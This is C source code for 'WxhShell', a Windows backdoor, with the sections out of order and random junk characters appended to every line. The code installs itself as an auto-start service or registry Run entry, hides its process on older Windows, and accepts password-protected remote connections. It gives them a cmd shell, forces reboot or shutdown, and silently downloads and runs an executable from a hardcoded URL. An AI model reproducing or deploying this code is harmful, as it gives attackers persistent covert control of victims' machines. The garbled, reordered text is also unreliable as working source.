    if(Boot(SHUTDOWN)) (nZ=9+j]d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?jM7C}  
    else { ~uD;_Y=u)r  
    closesocket(wsh); {XUfxNDf  
    ExitThread(0); jKi*3-&  
    } N?<@o2{  
    break; |&pz,"(  
    } \?ws0Ax  
  // 获取shell igbb=@QBJ  
  case 's': { !JQ~r@j  
    CmdShell(wsh); TD=/C|  
    closesocket(wsh); .g`*cDW^=  
    ExitThread(0); YQ`#C #Wb  
    break; n^(yW  
  } b2@x(5#  
  // 退出 =$z$VbBv  
  case 'x': { gB{R6 \<O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m_U6"\n 5  
    CloseIt(wsh); EqDYQ 7  
    break; WBIB'2:m  
    } *B~:L"N  
  // 离开 Rw^YTv  
  case 'q': { \ A UtGP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8'\,&f`Y  
    closesocket(wsh); i&G`ah>  
    WSACleanup(); J?ZVzKTb>}  
    exit(1); h sw My  
    break; s3RyLT  
        } e.YchGTQ  
  } $aI MQ[(  
  } [(UqPd$  
8BH)jna`Qo  
  // 提示信息 78BuD[<X-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E4@fP] R+  
} H+&w7ER  
  } bh"v{V`=0  
m@2xC,@  
  return; M !XFb  
} U)1qsUDF  
C`<} nx1  
// shell模块句柄 m95$V&  
int CmdShell(SOCKET sock) toZI.cSg4  
{ 3E@&wpj  
STARTUPINFO si; Xz@;`>8i  
ZeroMemory(&si,sizeof(si)); nt`l6b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s H[34gCh;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9)hC,)5  
PROCESS_INFORMATION ProcessInfo; DL!s)5!M  
char cmdline[]="cmd"; S^n4aBm\+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VQx-gm8}!  
  return 0; O5*uL{pvT{  
} x=+I8Q4:  
;mxT >|z  
// 自身启动模式 g%P4$|C9 i  
int StartFromService(void) GV[BpH  
{ | N,nt@~  
typedef struct L6 # d  
{ rz7b%WY  
  DWORD ExitStatus; ,$[lOFs  
  DWORD PebBaseAddress; 7+-}8&s yu  
  DWORD AffinityMask; Mxp4YQl  
  DWORD BasePriority; Bq8<FZr#!  
  ULONG UniqueProcessId; 2 g==98>cg  
  ULONG InheritedFromUniqueProcessId; Dv{AZyqe  
}   PROCESS_BASIC_INFORMATION; yYtki  
!_#js  
PROCNTQSIP NtQueryInformationProcess; tqf-,BLh  
"n-xsAG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gukq}ZQd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u)MA#p {  
.}>[ Kr  
  HANDLE             hProcess; `<Nc Y*  
  PROCESS_BASIC_INFORMATION pbi; m_f^#:  
_erH]E| [  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {IwYoRaXa  
  if(NULL == hInst ) return 0; 4"=pcHNV  
B ~GyS"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _{);n$`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z28@yD +  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ms3/P|{"p  
K_.x(Z(;4  
  if (!NtQueryInformationProcess) return 0; IrM3Uh  
@L7rE)AU.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gE(03SX  
  if(!hProcess) return 0; A 76yz`D  
ArM e[t0$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O-YE6u  
}]@ "t)"  
  CloseHandle(hProcess); -fn~y1  
`Y9@?s Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D1a2|^zt  
if(hProcess==NULL) return 0; pqX=l%{4ES  
b5C #xxIO  
HMODULE hMod; 0\A[a4crj  
char procName[255]; ,)8Hl[y  
unsigned long cbNeeded; \t3i9#Q  
07&S^ X^/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S8t9Ms: k  
$>Do&TU   
  CloseHandle(hProcess); W=+ag<@  
c-{]H8$v  
if(strstr(procName,"services")) return 1; // 以服务启动 Jr zU-g  
" 8v  
  return 0; // 注册表启动 ps [rYy  
} I(|{/{P,  
6A<aelE*i  
// 主模块 elQ44)TrQ  
int StartWxhshell(LPSTR lpCmdLine) >d |W>|8e  
{ $TiAJ}:  
  SOCKET wsl; &40d J~SQ  
BOOL val=TRUE; gUl Z cb  
  int port=0; kS>j!U(%d  
  struct sockaddr_in door; A,@"(3  
&3M He$  
  if(wscfg.ws_autoins) Install(); ) Lv{  
M_DkjuR  
port=atoi(lpCmdLine); Zf! 7pM  
LE"xZxe  
if(port<=0) port=wscfg.ws_port; Y|bGd_j  
B _ >|Mo/  
  WSADATA data; e %#f9i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [ q}WS5Cp  
Z]dc%>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 AY%o nY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;#*mB`  
  door.sin_family = AF_INET; mj pH)6aD0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O`4X[r1LD  
  door.sin_port = htons(port); u Wtp2]A  
`1dr$U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dpS  
closesocket(wsl); OpfFF;"A'  
return 1; (s~hh  
} e3.TGv7=  
XT\;2etVL  
  if(listen(wsl,2) == INVALID_SOCKET) { j56Y,Tm  
closesocket(wsl); mDhU wZH  
return 1; ; 1WclQ!(  
} 1E(pJu'K  
  Wxhshell(wsl); `|4{|X*U.  
  WSACleanup(); UqH7ec  
Pj$a$C`Z  
return 0; 6%>0g^`)9Y  
am=56J$ig  
} R_csKj  
5|Uub ,  
// 以NT服务方式启动 W cnYD)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,b/0_Q  
{ yq2Bz7P  
DWORD   status = 0; G:UdU{  
  DWORD   specificError = 0xfffffff; rW6LMkt72  
@#p4QEQA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n D?XP<9UU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x&sF_<[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !Lo{zTDW  
  serviceStatus.dwWin32ExitCode     = 0; W`KkuQ4cM  
  serviceStatus.dwServiceSpecificExitCode = 0; ~96"^%D  
  serviceStatus.dwCheckPoint       = 0; w ^A0l.{  
  serviceStatus.dwWaitHint       = 0; 0kDT:3  
^T" A9uaG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {)G3*>sG3  
  if (hServiceStatusHandle==0) return; aw~OvnX E  
8`+X6iZOQ  
status = GetLastError(); 8.@ yD^'  
  if (status!=NO_ERROR) :geXplTx  
{ g&"Nr aQM9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'lWNU   
    serviceStatus.dwCheckPoint       = 0; i''dY!2  
    serviceStatus.dwWaitHint       = 0; McfSB(59  
    serviceStatus.dwWin32ExitCode     = status; U+W8)7bc  
    serviceStatus.dwServiceSpecificExitCode = specificError; "l!"gc87  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uzsR*x%s-  
    return; Z"P{/~HG  
  } ='s2S5#1  
lps  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]M_)f  
  serviceStatus.dwCheckPoint       = 0; n_5g:`Y  
  serviceStatus.dwWaitHint       = 0; ?[kO= hs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SkxTgX5  
} b{(:'.  
>$}nKPC,Y  
// 处理NT服务事件,比如:启动、停止 g?`w)O 7v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dq\#:NnKvx  
{ 1~j.jv$  
switch(fdwControl) thOCzGJ$  
{ 'oo]oeJ-  
case SERVICE_CONTROL_STOP: JjM^\LwKkL  
  serviceStatus.dwWin32ExitCode = 0; uH`ds+Hp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kG%<5QH  
  serviceStatus.dwCheckPoint   = 0; L%fWa2P'  
  serviceStatus.dwWaitHint     = 0; 7FWf,IjcGY  
  { X!&=S!}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ImgKqp0Z  
  } Um%E/0j  
  return; ,2u]rLxx;  
case SERVICE_CONTROL_PAUSE: $UKDXQF"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {`-EX  
  break; f3nib8B'  
case SERVICE_CONTROL_CONTINUE: cZ5[A  T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |GIT{_JE  
  break; :5;[Rg5 2  
case SERVICE_CONTROL_INTERROGATE: 9) wjVk  
  break; 2-2'c?%  
}; =\`9\Gd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9gjx!t>`H  
} [<cP~  
Yzd-1Jvk  
// 标准应用程序主函数 !zD| @sX{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h4sEH  
{ \@5W&Be^  
#E>f.:)  
// 获取操作系统版本 aFKks .n3  
OsIsNt=GetOsVer(); Ey)ox$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lc+)#9*d  
x!S8'  
  // 从命令行安装 d@`yRueWiV  
  if(strpbrk(lpCmdLine,"iI")) Install(); m`n51i{U  
_QCAV+K'  
  // 下载执行文件 >4bOM@[]  
if(wscfg.ws_downexe) { !1|f,9C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ie``W b=  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Ba>l$/q  
} `lr\V;o!  
!! #\P7P  
if(!OsIsNt) { b@nbXm]Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?jy^WF`  
HideProc(); ""TRLs!:M  
StartWxhshell(lpCmdLine); ^]OD+v  
} (gz|6N  
else * _U z**M  
  if(StartFromService()) r)ga{Nn,.  
  // 以服务方式启动 +BmA4/P$  
  StartServiceCtrlDispatcher(DispatchTable); MiN68x9  
else -0lpsF  
  // 普通方式启动 uPb9j;Q?  
  StartWxhshell(lpCmdLine); |)1"*`z  
V.;0F%zks5  
return 0; M,|o2'  
} PL wa!j  
J>x)J}:;  
8&H1w9NrX_  
&:w{[H$-  
=========================================== (,HA Os  
PE+N5n2Tl  
CEt_wKz f  
HH8a"Hq)  
h|_G2p^J+"  
*9*6n\~aI  
" @zSoPDYv,  
RQv`D&u_  
#include <stdio.h> to+jQ9q8  
#include <string.h> 8ec~"vGLz~  
#include <windows.h> $  5  
#include <winsock2.h> o"K{^ L~u  
#include <winsvc.h> K@%.T#  
#include <urlmon.h> %5jxq9:K  
zI(b#eUF  
#pragma comment (lib, "Ws2_32.lib") #2|sS|0<  
#pragma comment (lib, "urlmon.lib") =OTwP  
^25$=0  
#define MAX_USER   100 // 最大客户端连接数 V<P@hAAr  
#define BUF_SOCK   200 // sock buffer -,3Ka:  
#define KEY_BUFF   255 // 输入 buffer ^P(HX  
Aln\:1MU  
#define REBOOT     0   // 重启 ( 8k3z`  
#define SHUTDOWN   1   // 关机 O zY&^:>  
?5"~V^L3  
#define DEF_PORT   5000 // 监听端口 AgO:"'c  
)=ZWn,ZB  
#define REG_LEN     16   // 注册表键长度 ]`]m41+w  
#define SVC_LEN     80   // NT服务名长度 X2T)]`@  
'9H]S Ew  
// 从dll定义API #W'jNX,h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bu*ge~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h5.u W8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *}A J7]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /k(0}g=\  
cqi: Rj  
// wxhshell配置信息 -0Y8/6](  
struct WSCFG { tb^3-ZUb  
  int ws_port;         // 监听端口 -i7W|X"  
  char ws_passstr[REG_LEN]; // 口令 ^~8l|d_  
  int ws_autoins;       // 安装标记, 1=yes 0=no oF)+f4  
  char ws_regname[REG_LEN]; // 注册表键名 |Zncr9b  
  char ws_svcname[REG_LEN]; // 服务名 OT\[qaK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -E?h^J&U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |'b=xeH.^<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m?>$!B4jFB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ga"$_DyM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r68'DJ&m3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VO/" ot  
dGTAZ(1W  
}; WwPfz<I  
; Rt?&&W  
// default Wxhshell configuration @ 4j#X  
struct WSCFG wscfg={DEF_PORT, Z,_yE*q  
    "xuhuanlingzhe", +Q8B in  
    1, O83vPK 3  
    "Wxhshell", 4Ts5*_  
    "Wxhshell", SP 97Q-  
            "WxhShell Service", r8}GiP0|  
    "Wrsky Windows CmdShell Service", &iId<.SiJ  
    "Please Input Your Password: ", K Ps 5? X  
  1, sn]8h2z  
  "http://www.wrsky.com/wxhshell.exe", =uIu0_v  
  "Wxhshell.exe" B}C"Xc  
    }; Z~9\7QJn  
Y_xPr%%A  
// 消息定义模块 G<Z|NT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xmT(yv,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W,}HQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PGOi#x  
char *msg_ws_ext="\n\rExit."; <._MNHC  
char *msg_ws_end="\n\rQuit."; m("! M~1  
char *msg_ws_boot="\n\rReboot..."; oost}%WxN  
char *msg_ws_poff="\n\rShutdown..."; Wx;:_F7'\  
char *msg_ws_down="\n\rSave to "; K #}DXq  
"P~0 7  
char *msg_ws_err="\n\rErr!"; oZA?}#DRl  
char *msg_ws_ok="\n\rOK!"; x3MV"hm2  
)?:V5UO\  
char ExeFile[MAX_PATH]; XA-DJ  
int nUser = 0; 4M}u_}9  
HANDLE handles[MAX_USER]; kViX FPW  
int OsIsNt; %mAgE\y25  
ez"Xb 7  
SERVICE_STATUS       serviceStatus; 9axJ2J'g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fj[B,ua  
[2a*TI  
// 函数声明 @K7#}7,t  
int Install(void); +3(1QgYM%  
int Uninstall(void); tT ~}lW)Y  
int DownloadFile(char *sURL, SOCKET wsh); %}MZWf{  
int Boot(int flag); KLGhsx35  
void HideProc(void); YYzj:'  
int GetOsVer(void); ?J<Y]  
int Wxhshell(SOCKET wsl); c8v+eyn  
void TalkWithClient(void *cs); ?H#]+SpOcv  
int CmdShell(SOCKET sock); }:5AB93(  
int StartFromService(void); I!%T!B540  
int StartWxhshell(LPSTR lpCmdLine); ]2T=%(*  
6'3@/.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F0t!k>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #DXC 6f  
" 6Hka{  
// 数据结构和表定义 2M3.xUS  
SERVICE_TABLE_ENTRY DispatchTable[] = y ]xG@;4M  
{ ^,]'Ut  
{wscfg.ws_svcname, NTServiceMain},  {.GC7dx  
{NULL, NULL} 5 P9hm[  
}; WoHFt*e2  
q g?q|W  
// 自我安装 {s6;6>-kPW  
int Install(void) HF" v \  
{ HeZ! "^w  
  char svExeFile[MAX_PATH]; 12M&qqV  
  HKEY key; :vz_f$=  
  strcpy(svExeFile,ExeFile); Uc/MPCqZ  
JV=d!Gi[C  
// 如果是win9x系统,修改注册表设为自启动 UQgOtqL3  
if(!OsIsNt) { 9&q<6TZz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T]l_B2.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *A':^vgk  
  RegCloseKey(key); (Hb i+IHV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j(F&*aH78  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6TvlK*<r=  
  RegCloseKey(key); ~'2)E/IeV  
  return 0; U$@p"F@P  
    } 3P-qLbJ  
  } 3<LG~HWST  
} % < D  
else { 4# MvOjA5[  
7d*SZmD  
// 如果是NT以上系统,安装为系统服务 g^OU+7o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3/+9#  
if (schSCManager!=0) Va/LMw  
{ {|c <8  
  SC_HANDLE schService = CreateService {y0#(8-&  
  ( n|dLK.Q  
  schSCManager, # 8 0DM  
  wscfg.ws_svcname, }\k"azQ`  
  wscfg.ws_svcdisp, F/sXr(7  
  SERVICE_ALL_ACCESS, =G2D4>q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u0`~ |K  
  SERVICE_AUTO_START, NTS tk{s,  
  SERVICE_ERROR_NORMAL, u1s^AW8 y  
  svExeFile, 1H`T=:P?  
  NULL, p(in.Xz  
  NULL, {|= 8wB  
  NULL, DksSD  
  NULL, mO;X>~K  
  NULL ;|Id g"2  
  ); [0U!Y/?6lA  
  if (schService!=0) S'#KPzy.  
  { A rC4pT   
  CloseServiceHandle(schService); -bJht  
  CloseServiceHandle(schSCManager); xjB2?:/2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Oaf!\ z}  
  strcat(svExeFile,wscfg.ws_svcname); zc>/1>?M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h$.y)v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FZ'|z8Dm  
  RegCloseKey(key); `W,gYH7  
  return 0; RL7OFfMe  
    } cf)2GoV>e  
  } Mk9'  
  CloseServiceHandle(schSCManager); Y+ 75}]B  
} -L>xVF-|:1  
} JYB"\VV  
Se7NF@>9_  
return 1; (oO*|\9u  
} %tEjf 3  
 F* "  
// 自我卸载 H~UxVQLPp  
int Uninstall(void) j H#Tt;  
{ G,I[zhX\  
  HKEY key; |!:ImX@  
~`)`Ip  
if(!OsIsNt) { T;K,.a8bU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  w=5D>]  
  RegDeleteValue(key,wscfg.ws_regname); u&Ts'j  
  RegCloseKey(key); rZ5vey  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (]7&][  
  RegDeleteValue(key,wscfg.ws_regname); M&o@~z0  
  RegCloseKey(key); {E`[ `Kf  
  return 0; +InAK>NZ'  
  } l6Wa~E  
} WtOpxAq  
} 3`[f<XaL  
else { 0Ou;MU*v  
Lh.?G#EM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bE:oF9J?  
if (schSCManager!=0) QSPneYD  
{ ep`WYR|B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y-\/Y*;cd  
  if (schService!=0) by; %k/  
  { _V\rs{ 5  
  if(DeleteService(schService)!=0) { >a7'_n_o  
  CloseServiceHandle(schService); % B+W#Q`  
  CloseServiceHandle(schSCManager); epM;u  
  return 0; )jk X&7x  
  } m`luMt9  
  CloseServiceHandle(schService); R&}"En`$s  
  } j f25Ky~  
  CloseServiceHandle(schSCManager); ;v%Fw!b032  
} 'F>eieO  
} H0<(j(JK  
0gdFXh$!e  
return 1; l",JN.w  
} *y +T(73  
'L|& qy@  
// 从指定url下载文件 KP{|xQ>  
int DownloadFile(char *sURL, SOCKET wsh) Pqiw[+a$  
{ L -z37kG^  
  HRESULT hr; 3aIP^I1  
char seps[]= "/"; 2@K D '^(  
char *token; l_bvwo  
char *file; V|GH4DT=  
char myURL[MAX_PATH]; wGdnv}#  
char myFILE[MAX_PATH]; .?{rd3[ec  
y'\BpP  
strcpy(myURL,sURL); F:nhSd  
  token=strtok(myURL,seps); 1OB,UU"S$  
  while(token!=NULL) 8xs}neDg*  
  { `x%v& >  
    file=token; sq `f?tA?  
  token=strtok(NULL,seps); +vOlA#t%Z  
  } |iN!V3#S  
i#Tm] ++  
GetCurrentDirectory(MAX_PATH,myFILE); ):"Z7~j=  
strcat(myFILE, "\\"); '<! b}1w0  
strcat(myFILE, file); Cm@e^l!  
  send(wsh,myFILE,strlen(myFILE),0); O[ tD7 !1  
send(wsh,"...",3,0); m(MPVY<X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CqW:m*c  
  if(hr==S_OK) NIZ N}DnP  
return 0; $="t7C9S  
else g}>Sc=e <  
return 1; +M4X r *  
e8T#ZWr*  
} :|cC7, S  
hx|Cam"  
// 系统电源模块 3ZdheenK9  
int Boot(int flag) lAjP'(  
{ _,*ld#'s  
  HANDLE hToken; o,o,(sII  
  TOKEN_PRIVILEGES tkp; _$s ;QI]x  
( R2432R}J  
  if(OsIsNt) { `/]Th&(5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0($@9k4!/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lmmB=F  
    tkp.PrivilegeCount = 1; Uc oVp}vl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ee7#PE]}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CjtBQ5  
if(flag==REBOOT) { ['9awgkr/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u!kC+0Y  
  return 0; kU uDA><1  
} fTQ_miAlP  
else { .Up\ 0|b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 80qSPitj  
  return 0; Bw5zh1ALC;  
} ODS8bD0!i  
  } l!r2[T]I@7  
  else { 2R}9wDP  
if(flag==REBOOT) { w-f[h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tJ:]ne   
  return 0; Hn~=O8/2  
} DH7B4P  
else { >`\f,yq l6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,-!h  
  return 0; S b0p?  
} "J51\8G@@  
} |Z\?nZ~  
i%~^3/K  
return 1; 4sU*UePr  
} TVaD',5_V%  
kR+xInDM*  
// win9x进程隐藏模块 Zp5;=8wa;  
void HideProc(void) -e#~CE-  
{ lqD.epm  
?&qa3y)wX:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;Y/{q B!  
  if ( hKernel != NULL ) a4'KiA2r  
  { +|Tz<\.C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z^@.b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2oY.MQD7iW  
    FreeLibrary(hKernel); .MoOjx?  
  } 9VqE:c /  
&/%A 9R,  
return; W6N3u7mrb  
} ;rBd_  
Eqx2.S  
// 获取操作系统版本 Cxn<#Kf\-<  
int GetOsVer(void) ~|W0+&):  
{ @UbH ;m  
  OSVERSIONINFO winfo; <n8K"(sy}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >[,ywRJ#_}  
  GetVersionEx(&winfo); Yd} Jz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 977%9z<h  
  return 1; $-HP5Kj(k-  
  else J<p.J3I  
  return 0; "nkj_pC  
} 1 _A B; ^  
_G$SA-W(  
// 客户端句柄模块 +I>u${sVx*  
int Wxhshell(SOCKET wsl) M4%u~Z:4h+  
{ + F{hFuHV  
  SOCKET wsh; HR.^ y$IE  
  struct sockaddr_in client; :5Y yI.T  
  DWORD myID; C*+gQeK  
<F>^ffwGH-  
  while(nUser<MAX_USER) ;$`5L"I5$  
{ jkTh)Bm|'  
  int nSize=sizeof(client); iD;pXE{2s%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ].=~C"s,a  
  if(wsh==INVALID_SOCKET) return 1; o'oA.'ul  
h=:*cqp4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *=sMJY9#jE  
if(handles[nUser]==0) wiwAdYEQ\  
  closesocket(wsh); @W4tnM,#  
else goE \C  
  nUser++; S JseP_-  
  } 7H$I9e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &.m.ruab  
nC:>1 kt  
  return 0; E{LLxGAEZ  
} fX ^h O+f  
{Xw6]d  
// 关闭 socket L|?$F*bs  
void CloseIt(SOCKET wsh) u-8b,$@Z>'  
{ fwkklg^  
closesocket(wsh); Aof)WKo  
nUser--; 3"*tP+H  
ExitThread(0); w5C$39e\G  
} ?%|w?Fdx-  
@r.w+E=  
// 客户端请求句柄 (6y[,lYH  
void TalkWithClient(void *cs) }@)r\t4m  
{ cuw 7P  
b7^Db6qu  
  SOCKET wsh=(SOCKET)cs; <Ny DrO"C3  
  char pwd[SVC_LEN]; ^"\3dfzKM  
  char cmd[KEY_BUFF]; v>XAzA  
char chr[1]; Oc6_x46S4  
int i,j; 6-fdfU  
Gu#Vc.e  
  while (nUser < MAX_USER) { 1Fg*--8[r  
NsPAWI|4  
if(wscfg.ws_passstr) { VRb+-T7"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c\Z.V*o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wV604eO(  
  //ZeroMemory(pwd,KEY_BUFF); OV"uIY[%8V  
      i=0; ?Z0NHy;5  
  while(i<SVC_LEN) { { R`"Nk  
g3Xa b  
  // 设置超时 Nf]h8d~  
  fd_set FdRead; u~C,x3yr  
  struct timeval TimeOut; ir{li?kV  
  FD_ZERO(&FdRead); @TQzF-%#7  
  FD_SET(wsh,&FdRead); h 7P<3m}  
  TimeOut.tv_sec=8; QX`T-)T e  
  TimeOut.tv_usec=0; (^G @-eh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aPwUC:>`D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f`gs/R  
)bgaqca_{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A_4.>g  
  pwd=chr[0]; !RXG{1 :  
  if(chr[0]==0xd || chr[0]==0xa) { 9n#lDL O  
  pwd=0; 9cnLf#  
  break; N^TE ;BM  
  } nI es}n:  
  i++; m]?C @ina  
    } ( kKQs")  
61@;3yV  
  // 如果是非法用户,关闭 socket sQXj?5!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L25v7U  
} O a%ZlEUF  
jU9\BYUg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rqi/nW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mb^E  
;ztt*py  
while(1) { *}P=7TuS  
S]x\Asj;w  
  ZeroMemory(cmd,KEY_BUFF); [["az'Lrk?  
'@{Mq%`  
      // 自动支持客户端 telnet标准   7C>5XyyJ  
  j=0; Pm/Rc  
  while(j<KEY_BUFF) { _)U.5f<   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p.|M:C\xL  
  cmd[j]=chr[0]; VR XK/dZ  
  if(chr[0]==0xa || chr[0]==0xd) { (MGYX_rD  
  cmd[j]=0; *DcB?8%  
  break; di4>Ir~]  
  } P#l"`C /  
  j++; _+6aD|7x  
    } 6%B)  
\|YIuzlO4  
  // 下载文件 YHOo6syk  
  if(strstr(cmd,"http://")) { rQsYt/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $.F.xYS9IJ  
  if(DownloadFile(cmd,wsh)) J|aU}Z8m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EXEB A&*  
  else ' 4.T1i,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $4:Se#nl  
  } IBz)3gj J  
  else { %PlA9@:IZ  
Y=ksrs>w  
